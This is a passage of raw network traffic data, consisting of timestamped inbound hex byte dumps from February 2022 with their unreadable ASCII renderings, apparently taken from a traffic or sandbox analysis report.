Data Ascii: +&qkVh]}JhN3AAW]G;gH_75Q7WDPRT_\WPP#=ru:gSW+N]fzvzW<erg<GjFA\G7_wC'5'u`&n8FB\n'xV-
e[AG>CC{kVPc

2022-02-08 23:07:11 UTC 667 IN Data Raw: b4 63 6a b7 77 48 dd eb b4 8b 56 a3 34 58 dd ed a3 bf 4e 66 e9 0c 9d ed a1 c4 1f 96 62 03 dc 55 2a 3e f7 61 
1a 02 cb 27 19 b4 18 6f 89 7f 56 e2 4d 54 f5 fe 71 68 df d9 b2 ab 1c 29 a3 5b 16 15 75 69 11 d7 b6 97 d2 10 75 54 62 c8 
fe 1a 35 2f 6d d1 f6 ec 17 12 31 2f d4 2e e7 3b d3 ec 24 b0 9d 93 c3 23 56 50 00 a8 1e d0 db 23 56 1e 74 cb 96 dd f2 3b 
95 56 b8 bc 72 d5 33 f4 f2 06 bc ba 7d e1 2f 31 37 66 c8 ca 7f e6 2b 41 35 59 cc b2 b7 17 5f 73 3c 5d e8 94 d7 17 6f 73 
34 2b b9 ab 33 e9 7a ed 30 5e be 96 f2 9d 7d 55 da 2d 41 83 bb 28 83 40 45 c9 45 83 86 7f a2 08 7c 89 65 0f be 4a d2 d7 
fe b4 2a 3f 3e 77 e8 89 ef fc a6 1e 08 6f 29 56 0c e4 61 5e 27 7a 5c 62 1b 52 dd 5e cd e0 d8 9c 0e a0 e3 08 b8 7c 68 40 
38 af 28 bb 8b 19 fd 30 71 ef f2 30 b3 2c 45 fe 8f fa d2 
Data Ascii: cjwHV4XNfbU*>a'oVMTqh)[uiuTb5/m1/.;$#VP#Vt;Vr3}/17f+A5Y_s<]os4+3z0^}U-A(@EE|eJ*?>wo)Va^'
z\bR^|h@8(0q0,E

2022-02-08 23:07:11 UTC 669 IN Data Raw: 8d 76 cf 2d c5 64 44 63 4a 83 a7 48 8b 7a 64 8b 00 34 eb 6c e3 4d 28 ef 20 8e 03 ef d8 4d c0 64 90 46 4b 2c 
8b 6d a0 ea 48 ae 2b a2 40 e8 28 15 95 63 66 c3 60 a4 a5 00 4b 7a 03 c3 88 f1 4b cb a3 63 3e 08 60 4b f8 23 89 3d 3b 
e0 02 75 33 cb fb 22 f0 08 70 62 f7 8b e8 62 7c c1 77 85 b7 55 fc c5 98 c6 76 8d a3 41 3e 8c 28 09 2c 07 66 86 cb fc 4d 
de 31 3f 8e 55 7f b0 69 b6 06 f3 aa 75 c5 d8 8d 7c f9 e4 06 32 76 03 fd 19 27 f9 3e da ac b7 b1 3d 4f ff a2 16 72 f6 9e 2a 
4e 20 f9 55 8c e3 72 1b 5a e1 73 d9 99 6a 3d 56 7e 89 ba 1e 7d a2 6d 16 41 9e e6 58 ce 79 05 73 9b 83 c6 b0 10 cd 49 
57 f3 85 52 7c 5a 8d 6e 40 d8 f6 bb 83 1b 35 30 cb 10 7d 20 f7 04 f6 6e 78 e3 15 45 d8 ea 29 79 53 a2 b6 9e f0 29 f6 99 
63 b5 f6 12 2b b2 7d 58 b0 79 f6 12 03 aa 7d 58 b8 71 eb da 
Data Ascii: v-dDcJHzd4lM( MdFK,mH+@(cf`KzKc>`K#=;u3"pbb|wUvA>(,fM1?Uiu|2v'>=Or*N UrZsj=V~}mAXysIWR|Z
n@50} nxE)yS)c+}Xy}Xq

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:11 UTC 671 IN Data Raw: a0 2d 31 53 0b 4f ba 11 24 5c 79 d2 e7 d3 31 e0 65 9b 3b 62 2d a1 b9 2a 36 e9 88 01 63 ac 4b c2 e1 d0 e0 01 
22 13 6b 4f ac 07 9b 5e 2a 4f 9f 75 a3 03 5c b6 53 00 d7 f8 dd 14 50 b2 63 00 db f8 e5 74 50 b2 63 08 db f8 e5 0c e7 2e 
98 79 25 ed 1e 89 19 62 50 07 6d ed 1e 81 79 a5 0a c9 71 a1 8c 19 b3 63 4f da 16 e4 05 64 c2 6b 4f da 2e e4 05 64 da 
6b 4f da 3e 40 b2 65 fd 83 f4 66 4b 49 bc 6a 60 d5 f9 a9 a3 fd 78 d3 04 3e bb 10 38 e8 b2 65 fa 2b 35 2d 7c 2f be 65 ea 
5b 39 2f 55 bc c2 a0 1f 03 25 53 94 4d ab 27 1a 05 a6 a0 50 ba 41 4b 1a 0d a6 a8 31 99 6c 6b f2 d1 60 40 15 94 a3 83 9e 
da 2d f7 b5 72 f9 34 76 fd b7 6b 91 ee 74 a8 52 64 3c 30 b1 ee 74 80 5a 64 3c 38 a9 ee 74 18 2b 72 f6 85 b5 72 f9 8a 3e 
3a fe 01 74 a1 35 8a 3e 0a e6 01 74 b9 3d 95 ff f9 12 36 7d 
Data Ascii: -1SO$\y1e;b-*6cK"kO^*Ou\SPctPc.y%bPmyqcOdkO.dkO>@efKIj`x>8e+5-|/e[9/U%SM'PAK1lk`@-r4vktR
d<0tZd<8t+rr>:t5>t=6}

2022-02-08 23:07:12 UTC 735 IN Data Raw: 30 50 24 84 f3 16 27 32 26 2a f1 b6 4a e8 32 fe da 3b 48 75 19 f8 8b f2 51 fb a0 b2 55 c7 9c 39 1d 58 7b ca 96 
18 7c 29 0a 18 f7 63 95 ff 3c e8 df 50 db 3b 54 1a 6c dc 8f 8e ee 49 0d 1a 65 09 22 b9 ee 41 38 c3 1e 82 fb 00 94 ca c1 
8a 34 f9 4a c2 1d d2 33 70 de 11 b8 3e 51 f6 3b bc 2a b5 f8 7f e9 3e b0 6c c2 5a 5a af 01 d1 14 20 e6 52 3f ea 0c 91 fc ac 
0f 5d bb 19 cd 9e 78 25 c6 52 3f a5 04 91 fc 99 0f 5d bb 7a cd 9e 78 46 c6 52 3f 82 04 91 fc be 0f 5d bb 93 cc 9e 78 af c7 
52 3f db 04 91 fc e7 0f 26 63 db 04 91 82 e7 0f 27 fb 1d 8f c4 4c 6b 75 44 97 dc 06 cf d9 0b eb 40 91 0f 60 08 99 24 97 cd 
5a e7 bd 1b 98 24 7e 90 d6 ab 99 13 fd 8d 73 d0 3e 06 3d 5f d9 85 ba 93 ad b6 91 d7 44 75 52 5c 0a fa b5 df 85 b2 8e f4 
3c 5b 4d 37 7c e3 96 f4 b0 a4 38 c8 8c 98 42 
Data Ascii: 0P$'2&*J2;HuQU9X{|)c<P;TlIe"A84J3p>Q;*>lZZ R?]x%R?]zxFR?]xR?&c'LkuD@`$Z$~s>=_DuR\<[M7|8B

2022-02-08 23:07:12 UTC 737 IN Data Raw: 81 5f b3 45 02 99 70 86 88 d1 42 0c c0 fa cd 44 f1 c6 1b c8 95 04 d8 43 dd 53 3f c8 1b 90 fc 43 53 9b c0 95 b6 
f0 02 56 46 e8 8d 1e 45 63 cb 1d f3 a7 3b 1e d9 c7 f8 dd 1a 8f bf 3a 89 49 7c f9 06 89 7f b9 2a 4c c8 53 16 40 7e 76 98 08
75 fd d2 97 92 0e 22 86 14 fe 21 0c 5c f3 25 8b bb 18 e2 48 78 db 69 02 cf 3c 8a 3e 19 90 ec fc da b8 35 73 92 b5 c5 62 
62 bf 4e 28 fd 58 a5 2c 7a bf 46 eb b9 7c 85 d7 6f 94 e3 15 ac 1f ab 2e 27 59 a8 99 7b d2 e6 0e 9c 51 6d 46 97 55 ea a1 
24 9d 29 72 e7 a1 ff c4 80 63 3c 82 83 d4 7a 09 cd 43 9d 8a 46 0b 91 01 0c 64 76 02 cf a7 b5 3e 19 47 d3 fc da 01 d0 30 
9d a5 ec 0c a1 2e a4 00 9d f8 35 67 5f 3b 75 5c 63 f7 23 5c 2b f7 ac 12 74 10 7f d4 b7 d3 f5 9c 2f 00 7f d4 87 db f5 9c 37 
38 7f d4 8f d3 f5 9c af 51 68 9c 24 1b f7 7b ef 
Data Ascii: _EpBDCS?CSVFEc;:I|*LS@~vu"!\%Hxi<>5sbbN(X,zF|o.'Y{QmFU$)rc<zCFdv>G0.5g_;u\c#\+t/78Qh${

2022-02-08 23:07:12 UTC 739 IN Data Raw: f1 fc a2 53 7a b4 6a 6f ac 5e 36 ad 6f 76 fe d7 ae b4 3d 14 92 62 02 4a 50 a1 f2 49 78 67 89 8b bb a4 4a 00 f3 
3b ad 93 78 73 1a 74 e3 f8 5a 73 60 64 5a 7c 6f 6b d9 ec e4 2b f6 0f 6f 63 ec 84 27 a9 67 ca a5 95 ec 8a 9e ab 58 4f a2 
7d 7f 12 60 be f4 5a e8 75 7f 14 6a 49 f4 54 51 77 40 91 6d a1 53 cc af 62 d8 8c a8 81 40 8c a7 8e c3 1c 2c ce ec 9f a7 
86 32 f7 a4 47 f1 70 ec 46 7a 38 fe cd 34 b7 19 2e 1f f3 c3 ed dc 78 8d 62 3b 9b a6 88 e2 58 65 44 96 5b 4d 96 6c 9b fb 
5c 16 59 38 9f d5 fc 72 17 2c 77 3a 8f df fc 7c 97 69 d5 57 41 af 16 94 ca ef 11 17 52 ef 1e 18 5d 64 56 1f d6 2e cd d4 5d 
64 7e 07 d6 2e c5 dc 40 ac 52 5e d6 2e c7 dc 42 a5 89 77 20 2e cb 58 33 ed 08 9b b8 a5 32 1d f0 96 7a 04 8d 6a b9 c7 
4e e1 f7 49 35 11 e6 ce 7d 14 60 02 09 2e 65 84 7d ed 
Data Ascii: Szjo^6ov=bJPIxgJ;xstZs`dZ|ok+oc'gXO}`ZujITQw@mSb@,2GpFz84.xb;XeD[Ml\Y8r,w:|iWAR]dV.]d~.@R^.Bw 
.X32zjNI5}`.e}

2022-02-08 23:07:12 UTC 741 IN Data Raw: c0 3f 6d 86 4b 77 78 0d 03 7f 53 ad c8 bc 90 85 08 fc 9b b9 83 b4 04 5e 10 3f 4c e9 f7 a4 c7 a9 f0 27 5b a9 ff 
28 d8 39 74 68 f7 da 3c a2 7d 92 27 9e ab 9e 7d 5c 68 11 33 92 bb 6b f2 51 4b 7a 78 19 41 3a c2 92 83 8c 05 68 41 3b 
d2 e7 0f fd eb e3 ce 3e 60 a3 cc 9d 5c a2 46 65 57 1c 9a 4d 76 97 3a 4c f4 ec f3 8f 37 2f 78 c1 f8 ac f3 c3 da 6a 72 8b 4d 
a0 e9 02 05 2f 23 91 39 3f a8 d1 3e dc 30 d1 31 d3 bb 9b ae 34 70 10 e4 9b 97 c3 6f d1 20 24 b4 45 a2 b3 36 d3 20 26 b4 
47 ab 66 9b a4 20 26 65 f3 5b e7 a6 30 d1 af 9d b7 99 9e 12 ff bb 28 c0 85 78 eb 13 46 53 27 bc 85 90 ac f6 43 2b d7 37 
80 ad 9f d8 67 2f df f5 a0 ad 97 fb 9c 7b 7b a1 5e b8 8b 8f d5 f6 55 c2 ae 37 96 8a 9d bc d8 5c 3b c7 19 9f c1 77 3a 53 87 
07 f9 90 44 47 41 7b 86 8b 07 11 45 48 c4 9a e5 4e 
Data Ascii: ?mKwxS^?L'[(9th<}'}\h3kQKzxA:hA;>`\FeWMv:L7/xjrM/#9?>014po $E6 &Gf &e[0(xFS'C+7g/{{^U7\;
w:SDGA{EHN

2022-02-08 23:07:12 UTC 743 IN Data Raw: 48 b4 a8 11 00 3f 7b 9a 4a b1 6f 11 02 3a b4 9a 48 b4 a8 11 00 3f 4b 9a 4a b1 6f 11 02 3a 84 9a 4a b9 77 11 
00 3f 43 9a 48 be b8 11 02 30 94 9a 4c be 90 e3 32 7c 53 20 b9 36 d5 1c 92 74 ec 20 ae 32 ef 96 7f b9 a7 9e 43 6f ac d3 
81 ac 27 9b 89 90 f1 87 c4 52 32 08 8a 0d d5 0b 49 ce 16 81 01 56 f5 0b 49 e6 1e 81 01 c6 9c 1c 9d 58 9c 13 92 57 17 5b 
95 dc 5d c0 5e 57 17 6b 8d dc 5d d8 6e 48 d6 98 41 bb 96 3b 9a 78 66 23 18 30 5d a8 50 01 d6 e0 7a 87 90 e3 c7 76 1b 
a3 60 91 f8 60 e7 d9 fc eb 47 c9 73 a5 c8 2e e0 2e 80 20 67 c6 80 ab a7 d3 bc 7d 40 9e 7e be 06 9d c9 50 4e 1a 2e c3 08 
19 99 25 c8 02 61 39 77 0f 21 32 4b f7 3d fe cd ec 75 fe 46 a4 ea 19 c5 2f a2 b6 22 a4 29 fe 95 43 b2 75 d5 44 41 e9 d5 
04 4a d5 fd 21 45 da 76 6b da 3d bd e0 90 92 5a 33 05 06 d8 
Data Ascii: H?{Jo:H?KJo:Jw?CH0L2|S 6t 2Co'R2IVIXW[]^Wk]nHA;xf#0]Pzv``Gs.. g}@~PN.%a9w!2K=uF/")CuDAJ!Evk=Z3

2022-02-08 23:07:12 UTC 745 IN Data Raw: 5c a8 f5 3e 9f 6b 7e 76 97 40 6d cb 54 83 e6 83 4f 08 a0 80 f8 ce 2b bc f8 78 ef 37 b6 a6 4a 78 74 65 c0 30 79 
e7 c4 f5 2e 24 07 36 12 f2 d8 73 d0 31 5a 3b 55 f6 d1 73 59 bc 17 df b4 7c d4 5d fd e9 13 76 a0 b1 2f 4a 22 f8 ba 81 a9 
b0 b6 aa f8 e8 8a 96 7a 24 fe 03 b5 af b6 0f 9e 71 e9 33 a2 fa a1 e5 87 be 63 26 0c f6 6f ad 0e cf 8c 86 17 97 b0 ba 5f 41 
9f ff 9d 82 14 b7 91 a9 1b ef ad 95 53 39 a8 d1 91 fa 23 99 9d d1 5e c1 a1 ed dc 89 b7 66 94 85 9c 16 cc b9 a0 99 82 7f 
8f d1 40 bc 01 99 4c c5 c2 5b 8f 06 49 13 82 8d 03 8c 65 66 8c c6 c2 81 6f ed cf 1d ac 2e 44 5d a7 12 cf 61 a4 51 30 a4 
67 e7 04 de 9e 24 c7 1d 15 6c d2 e5 17 a0 5e e7 9c e8 52 60 d4 eb 79 86 8c d7 45 0d c4 d9 6e cb 06 1a ad 40 4e 85 4a 
e3 c5 cd e5 04 6e 46 ad b3 89 fd 26 f3 8e 0e a4 6f 0c 
Data Ascii: \>k~v@mTO+x7Jxte0y.$6s1Z;UsY|]v/J"z$q3c&o_AS9#^f@L[Iefo.D]aQ0g$l^R`yEn@NJnF&o

2022-02-08 23:07:12 UTC 747 IN Data Raw: ab 31 b3 47 08 ba f3 40 9b 26 f3 4f 94 29 70 df 1f 69 5f 5c 94 21 81 ac e7 e0 42 2b af e1 c9 63 bd 6a 87 ec 5a 
89 ac c8 60 b5 90 43 2e 3a 77 a0 05 70 4e 9c 39 80 5f 50 4d 8b 77 bb b7 1b b0 0c 6b 5b 08 df aa ed c3 13 de ef 39 93 09 
58 f4 d3 b1 8b 34 65 79 47 40 67 83 c7 97 d1 43 8d 07 16 c8 c5 9f fd 43 83 87 4b 53 08 c7 4c d0 90 c7 43 df 9f 4c 09 40 
78 87 9d cb 38 a8 0e 4c 70 a9 85 04 62 22 cb 8b 85 d1 e0 ce bf ed dc 45 f1 62 3b b6 da 89 02 8a e6 0b 79 43 25 c8 ba b3 
2f 04 ce a8 67 14 e5 2d a4 d7 26 a6 ec ec ad e6 d7 d0 1a 03 fc 2f d8 c0 3f ad a2 00 fc 6e 61 86 0c 6d ea ce 00 25 f9 ca 
87 c2 12 0b 44 01 d1 41 db e6 32 6a 49 de 0e 56 61 11 46 46 1b c7 85 85 d8 ec f5 d0 e4 d0 7e 98 7b 37 dd 13 3b 30 4e 
8f 3b bb 06 88 b0 f1 9d 43 3b bb 36 90 b0 f1 85 4b 24 73 
Data Ascii: 1G@&O)pi_\!B+cjZ`C.:wpN9_PMwk[9X4eyG@gCCKSLCL@x8Lpb"Eb;yC%/g-&/?nam%DA2jIVaFF~
{7;0N;C;6K$s

2022-02-08 23:07:12 UTC 765 IN Data Raw: 56 c3 70 df 1c 84 97 54 dd 47 54 df 97 c0 b3 24 1c 8e f4 c3 a7 49 37 00 57 58 c7 0a 53 1f 20 89 92 dc e3 4b 
51 1f 20 c0 1b 98 c7 23 1f 1f 20 d0 dd dc e3 13 e1 0a 14 aa 23 c9 9f e2 af 2a 14 ac 38 cd e7 87 91 12 25 44 d7 11 93 d4 
5c 59 1f 37 d7 17 48 d0 54 d6 8b 13 7f 40 54 d1 bc 06 57 66 4f 8d 1f ea ac 0b ef e0 2b 43 ea 6b 63 55 d6 bd 22 ef 14 7e 
62 d4 28 c8 87 e8 fe cc 3d 2a 3d 32 cd ce fe f1 7b 14 84 da bb d7 47 e6 6d d9 f2 24 ae e5 24 68 1b 27 e7 90 1b eb a6 00 
27 d7 9a 8f 69 88 7d 1c ae 4b be 96 e6 d3 6d 1c ae 7b b6 96 e6 cb 55 1c ae eb c9 1c a1 e4 42 5c 8e 6f c9 1c 70 0c ad dd 
b3 cf 1a 29 34 87 1b a2 7c 95 90 ec f3 72 73 c7 0a 40 4f fb 81 0e c0 1c 62 25 df 2e 5e 19 54 66 88 a7 30 a7 4b 2d 70 ac 
77 a7 4c af f6 e4 b3 6e 35 52 86 a2 41 59 ad 4a cb 9a 6e 
Data Ascii: VpTGT$I7WXS KQ # #*8%D\Y7HT@TWfO+CkcU"~b(=*=2{Gm$$h''i}Km{UB\op)4|rs@Ob%.^Tf0K-
pwLn5RAYJn

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:12 UTC 795 IN Data Raw: 31 04 fe c2 c1 23 b0 4f 34 08 77 be f7 cb fc f0 78 2c 07 72 03 ef c0 b1 c0 64 88 a1 4f 2c b3 8a 62 06 8f b6 2c 
9b 44 3c 6c 96 78 b7 22 19 9f 4c 09 37 b5 70 35 7f a6 88 35 b3 ea ce f5 70 29 02 b2 ed e9 c1 71 ab ea 0d 36 4a 2e ce f5 
76 27 02 b2 4e e6 c1 71 72 ef 0d 36 d9 2e ce f5 e5 27 02 b2 05 e6 c1 71 39 ef 0d 36 f9 2e ce f5 c5 27 02 b2 1a e5 c1 71 
26 ec 76 eb 1a e5 c0 86 91 ab 4f 61 6a 80 17 4b 56 bc 5d cc b1 4f 1b cf 07 94 90 87 51 c7 50 44 92 4c 18 c8 79 c2 50 ce 
52 3d de 0d 91 bf 96 3b b9 f8 d6 00 7b 34 90 b8 47 08 ac 37 e7 4e c7 f7 24 8d 4c bf 72 ee 8c 7c b1 65 c4 f0 5a 4e 10 7e 
99 8d 58 08 f2 4d 9b cb d8 d7 a7 f7 e4 5c e9 78 03 cf 19 69 81 b4 da ae 42 77 f1 f7 c7 b4 32 7c 89 23 d5 ef 02 6d 5a 08 f9 
ef 21 cb 3e 2c e2 e0 00 06 de dc 8b 4e 5a 37 04 06 
Data Ascii: 1#O4wx,rdO,b,D<lx"L7p55p)q6J.v'Nqr6.'q96.'q&vOajKV]OQPDLyPR=;{4G7N$Lr|eZN~XM\xiBw2|#mZ!>,NZ7

2022-02-08 23:07:12 UTC 797 IN Data Raw: 0f 79 3a 36 84 b9 31 bd 44 aa fd 57 ce 99 76 6b c6 2f 02 43 0d a0 4a 46 26 a2 cc 85 e5 2d 82 da 02 be 45 19 
c1 34 0d 81 32 be 45 31 c9 34 0d 89 42 be 45 a9 c0 22 c7 34 42 bc 45 ab dc bc ce e3 56 47 e4 87 74 7b d8 88 7b 74 5b 
18 f0 34 74 fb be f3 e5 70 f6 e9 af f2 11 93 6c 11 d2 50 94 13 1e df 96 59 9e 38 50 9a 59 fb 93 d4 96 78 b8 84 b5 44 84 fd 
76 83 47 3e fd cb 4c b5 b7 4b b7 9e a2 69 8b a2 29 21 03 59 50 e2 c4 9a 93 69 8e 5a b8 6f ac 66 84 e4 e4 ee 7f 9d 27 29 
bc 5e ac 63 3c 95 87 13 1e a9 bb 5b 8e 4e 30 13 06 b5 bb 59 86 66 90 39 a4 5a ac 71 34 bd 27 39 bc 46 ac 73 3c 9d 87 
23 1e a1 bb 6b 8e 46 30 23 06 bd bb 69 86 56 90 29 a4 6a ac 69 04 89 6f e2 4e 09 9c 69 0e 0e 7f f1 0e 01 f4 bb 91 e6 3f 
30 db 51 d8 e3 50 1b 67 04 b3 8d e5 91 31 19 6e d9 1e 92 2e 
Data Ascii: y:61DWvk/CJF&-E42E14BE"4BEVGt{{t[4tplPY8PYxDvG>LKi)!YPiZof')^c<[N0Yf9Zq4'9Fs<#kF0#iV)jioNi?
0QPg1n.

2022-02-08 23:07:12 UTC 799 IN Data Raw: a0 73 6b 60 a2 3b 78 ea ea 32 f3 aa ed d9 d9 da 84 e5 e5 92 97 6f ad 9b 1c 2f aa 70 36 75 81 4c 0a 35 bb d4 
c6 71 d4 17 05 b2 18 50 58 71 db 93 18 5b 4a 5f 5f 1f 89 9c 9c 23 83 2b 2a 1f 89 9c 8a 23 83 2b 06 1f 89 9c f3 23 83 2b 
19 1f 89 9c fa 23 83 2b 29 1f 89 e7 6f 27 4a 24 ac a1 ba 2e 86 9b 84 12 ba 1d 74 18 3c 53 f6 da 16 a1 ce e6 2a 27 3e ec 
02 65 b8 1c 08 e3 f6 9e ca cb b3 11 84 0d 8c ba b8 31 c4 a9 32 79 cd 22 72 7e 26 08 6b 6d 1a 34 e0 23 d4 10 4b 1f e8 
9b 0b 18 03 b1 ee bf 3f 8d a6 ac b5 c5 af 27 f5 c2 44 0d aa 65 78 31 e2 76 f2 79 eb fd b2 7e 00 d7 63 de 3c eb 2b cd b6 
a3 22 46 f6 a4 c9 6c 91 b8 f5 50 17 48 f6 7a 5a 70 ca 46 1a 5a 55 f1 aa 66 5f 46 32 5a 55 f1 a3 1a 7f 36 14 e0 43 3c a3 
13 7f 36 14 ce 43 3c a3 02 7f 36 15 a1 fd 4d a9 62 3e 8f 83 
Data Ascii: sk`;x2o/p6uL5qPXq[J__#+*#+#+#+)o'J$.t<S*'>e12y"r~&km4#K?'Dex1vy~c<+"FlPHzZpFZUf_F2ZU6C<6
C<6Mb>

2022-02-08 23:07:12 UTC 801 IN Data Raw: a0 6c 93 e6 e1 2d db 6f a5 09 ab 27 1d 4b e9 65 5f 09 ab 27 1d 41 22 63 39 39 6a a4 bd 1d ea a4 bd 1d ea a4 
bd 1d a2 63 39 39 2a 63 39 39 2a 63 39 39 62 a4 bd 1d f2 a4 bd 1d f2 a4 bd 1d ba 63 39 39 22 63 39 39 22 63 39 39 6a 
ee bd 1d ca ee bd 1d 82 65 45 2e 42 dc 6d 2e 42 dc 9e 84 aa af 9c 84 aa e7 15 c0 8e b7 9e 84 aa c7 bb 7b 55 38 bb 46 
14 79 fa 46 61 63 71 02 45 1b 54 fd ba e4 54 c0 f8 a6 16 c0 8d ac 5e 4d c1 88 2e a5 15 8a 2e a5 5d 07 62 81 2d ef 38 87 
2d ef bd 47 58 e5 f5 ca 14 c1 85 22 b8 c7 85 22 f0 4c c1 06 a0 04 a2 46 9c 4c 29 0a b8 1c 61 09 70 54 ea c8 38 dd ae ec 
00 95 25 a8 24 ad 2a 1f 64 bb 0f 1f e4 bb 0f 22 e4 3b 0f 22 91 31 c8 66 b5 79 88 66 b5 79 63 6e 72 3d 47 26 76 3d 47 26 
32 b6 0b 02 7a fa 80 46 5e aa c8 cd 0a 8e f0 85 87 c2 d4 f5 6f 
Data Ascii: l-o'Ke_'A"c99jc99*c99*c99bc99"c99"c99jeE.Bm.B{U8FyFacqETT^M..]b-8-GX""LFL)apT8%$*d";"1fy
fycnr=G&v=G&2zF^o

2022-02-08 23:07:12 UTC 803 IN Data Raw: 12 c8 de e5 56 ec bc 9c 90 a8 98 ff d5 6e dc db b1 16 1a 9f 95 73 5b 59 d1 57 3d 59 17 13 19 11 41 d5 5d 35 
08 bc 9b 71 2c f6 e9 b7 68 d2 a2 c3 ae 96 86 8f db 50 c2 ab 96 31 04 ef b2 7f 68 29 f6 5b 27 68 30 1f 03 38 5c d9 47 1c 
0d b5 81 58 29 e7 ee 9e 6d c3 bd fd ab 87 99 a9 ab 41 dd 8d c3 17 1b c9 e7 7e 72 0f a3 5a 18 7d 65 1e 3c 16 11 d8 78 
32 7d ad be 76 59 c0 df b0 1d e4 b1 dc db a0 95 b3 8b 66 d1 97 fb 14 17 d3 df 65 78 15 9b 41 0a 61 5d 05 2e 12 38 c3 6a 
36 4c a0 ac 72 68 d5 d8 b4 2c f1 ae b4 64 7c e2 90 4c 34 69 14 68 a4 69 14 68 5b 79 5c e1 1f 5d 7c a9 92 09 58 91 da 82 
14 b5 fa ca 9f 31 de 5a 9f 31 de a5 cf 39 96 2e 43 1d 06 2e 43 1d 4e a7 02 0d 06 2a 56 29 5e 62 dd 65 7a 42 95 ee fe 66 
05 ee fe 66 fa be f6 2e 71 32 d2 be 71 32 d2 f6 f8 73 ca be 
Data Ascii: Vns[YW=YA]5q,hP1h)['h08\GX)mA~rZ}e<x2}vYfexAa].8j6Lrh,d|L4ihih[y\]|X1Z19.C.CN*V)^bezBff.q2q2s

2022-02-08 23:07:12 UTC 805 IN Data Raw: 23 d7 9d 0c e3 d2 d5 87 af f6 9d cf 22 72 9c 47 22 72 9c 0f ab 36 b8 17 e3 bd fc 33 fb 3e 84 37 fb 31 00 0c f9 
31 00 44 72 75 24 5c f9 75 6c d7 b5 51 2c 9f b6 99 64 14 77 d1 ed 50 53 c1 a5 db 17 e5 b5 58 6f e1 b5 57 eb f4 b7 57 eb 
bc 3c 13 cf ac b7 13 87 27 fb 37 c7 6f f8 ff 8f e4 39 b7 06 a0 1d bf 4e 2b 59 9b 5e a0 19 9f 16 23 f1 97 25 f1 48 95 25 f1 
48 dd d2 00 00 54 96 24 18 1c 1d 60 3c 0c 55 e3 fc 04 1d 6a f8 20 55 e1 bc 04 4d a9 35 40 69 81 7d cb 2d a5 65 83 d2 
6d 2d 0a 96 49 35 42 15 35 11 6a 15 3a 95 fc 14 3a 95 b4 9f 3e b1 bb 28 3e d7 7a c0 32 b1 f9 20 3d be 4e e0 be 46 44 95 
f8 fe bb 9a f8 fe f3 11 f4 da fc a6 fd bc df 6e f2 0b 1e 61 45 cb 56 ea 09 ef 5e a2 82 eb 5f ea 81 af 7b ca 38 50 74 ca 38 18 
ff de 1c 17 48 cc 7a 34 99 c3 cd fe 96 74 04 b6 
Data Ascii: #"rG"r63>711Dru$\ulQ,dwPSXoWW<'7o9N+Y^#%H%HT$`<Uj UM5@i}-em-I5B5j::>(>z2 =NFDnaEV^_{8Pt8
Hz4t

2022-02-08 23:07:12 UTC 807 IN Data Raw: ac f2 0f 89 1f 33 cc 02 51 e5 af b1 90 26 2d cb 43 e5 ee 08 cc af 51 ef 27 e5 fe 08 c4 ce ed 44 f9 f2 ab 47 4f 47 
25 0f 43 c0 6d 0f c8 88 79 84 80 84 52 18 d3 b9 6e 5e d0 0f c4 d4 98 03 ef dc c9 3e d3 9a ca 89 17 b2 6a 2c ef b7 dc 81 
64 f9 53 66 cf 72 f3 66 44 3c 25 e4 f7 fd e6 6f bd 72 01 9c f5 bc dc 2f 34 7f 57 ef 30 f4 1d 68 d7 1f 92 20 db 9d e9 f3 18 5e 
2a b9 87 b9 c9 92 1c ef f4 ae 5a ec 42 43 d1 a4 ed a4 62 ea 6d 77 e9 a2 f2 90 4a 29 b2 97 c9 ab 2e 0b 54 ab 66 06 7f 47 
8d c5 bc 48 c5 c8 97 ac 2e 0b 54 a3 66 06 7f 7f 8d c5 bc 70 c5 c8 97 a4 2e 0b 54 ab 66 06 7f 67 8d c5 bc 68 82 ca 3f f8 
09 8a 10 6b 82 c2 0a e0 cc 0c 51 db 0e cf 55 5c e9 64 b6 9f 2a a7 9d cf 7a 9a a1 44 34 54 4a 82 f5 97 61 72 a5 aa 5d f9 
eb 25 ba 52 64 6b 35 b5 97 e0 7f 3a 70 03 fd 
Data Ascii: 3Q&-CQ'DGOG%CmyRn^>j,dSfrfD<%or/4W0h ^*ZBCbmwJ).TfGH.Tfp.Tfgh?kQU\d*zD4TJar]%Rdk5:p

2022-02-08 23:07:12 UTC 827 IN Data Raw: e1 71 bf b6 15 b3 7c 3c 5f 36 af 17 b6 f4 6c d4 39 bc aa a8 61 7d 69 26 27 7e de fe ac 3e 79 19 47 fd 39 be a0 
1e fa 30 e8 13 0a 21 18 19 36 f7 59 ef f4 34 d2 a7 c7 bf 9a 38 20 3c 11 70 9f db 82 fb d7 de 09 b3 60 39 82 38 20 3e 71 
ba bd 3e 7e b5 36 74 e1 52 fd ff ab e5 1a 2c 3f 6e 5a 03 cc 13 98 c0 0f d0 13 88 35 5b 5b 91 f7 ad c4 c9 36 6e 8a 44 d3 
45 85 7e ef 79 20 86 ea cf ee 0d a2 df 65 45 ae f4 9e 79 92 c8 b6 a1 19 88 11 46 f2 4b 51 e1 15 a8 92 6e 5d a0 1d 26 59 
50 0c d6 53 6c da 1a a5 ae 19 91 ed 31 fe 12 66 79 49 f5 ed f2 09 f2 1e 6e 09 fd 11 61 82 bd 3e 9a f8 49 fd 59 3b 62 40 
63 07 5e 3a 87 c4 9d f9 22 84 a6 3b 94 66 8d 96 ae 5a b1 33 ee 61 73 85 20 1b 58 45 e3 d8 64 93 55 2d a6 50 7d 1d 56 
5a 41 cb 4e ac 83 08 41 87 0d 32 7d bb a8 72 46 79 1e 81 
Data Ascii: q|<_6l9a}i&'~>yG90!6Y48 <p`98 >q>~6tR,?nZ5[[6nDE~y eEyFKQn]&YPSl1fyIna>IY;b@c^:";fZ3as XEdU-
P}VZANA2}rFy

2022-02-08 23:07:12 UTC 855 IN Data Raw: 68 cb fd 4e 20 c3 76 04 a7 24 95 38 71 da 7a fa b2 9c 79 4c 75 6c 7a 64 da e7 32 32 49 27 f1 f1 c2 69 b7 b2 
82 aa 74 3d cc 25 93 be 47 6f 14 59 b4 e4 5a 1f ff a4 99 dc 70 ea 1e 3b e3 61 54 bc 04 8a df f2 42 19 1d 31 81 e9 17 ba 
cb 6e f0 59 f7 b8 0b b6 35 7b 4d b5 82 03 c6 fb 0d e4 55 74 43 aa c6 b6 80 69 49 f8 46 ab b9 3a 85 20 f3 b5 62 c3 78 fd 
